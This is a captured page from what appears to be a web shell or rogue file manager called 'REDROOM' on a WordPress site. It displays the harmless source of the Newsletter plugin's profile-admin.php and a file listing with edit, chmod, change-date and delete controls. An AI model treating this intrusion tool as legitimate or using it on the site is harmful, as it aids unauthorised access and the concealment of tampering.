REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.57 KB
Close
//home/nshryvcy/blissfulnepal.com/wp-content/plugins/newsletter/profile/profile-admin.php
Text
Base64
<?php defined('ABSPATH') || exit; class NewsletterProfileAdmin extends NewsletterModuleAdmin { static $instance; /** * @return NewsletterProfileAdmin */ static function instance() { if (self::$instance == null) { self::$instance = new self(); } return self::$instance; } function __construct() { parent::__construct('profile'); add_filter('display_post_states', [$this, 'hook_display_post_states'], 10, 2); } function admin_menu() { $this->add_admin_page('index', __('Profile', 'newsletter')); } function hook_display_post_states($post_states, $post) { $for = []; if ($this->is_multilanguage()) { $languages = $this->get_languages(); foreach ($languages as $id => $name) { $page_id = $this->get_option('page_id', '', $id); if ($page_id == $post->ID) { $for[] = $name; } } if ($post->ID == $this->get_main_option('page_id')) { $for[] = 'All languages fallback'; } if ($for) { $post_states[] = __('Newsletter custom profile page, keep public and published', 'newsletter') . ' - ' . esc_html(implode(', ', $for)); } } else { if ($post->ID == $this->get_main_option('page_id')) { $post_states[] = __('Newsletter custom profile page, keep public and published', 'newsletter'); } } return $post_states; } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 3
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
index.php
11.58 KB
lrw-r--r--
2026-06-03 14:57:28
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
profile-admin.php
1.57 KB
lrw-r--r--
2026-06-03 14:57:28
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
profile.php
30.30 KB
lrw-r--r--
2026-06-03 14:57:28
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).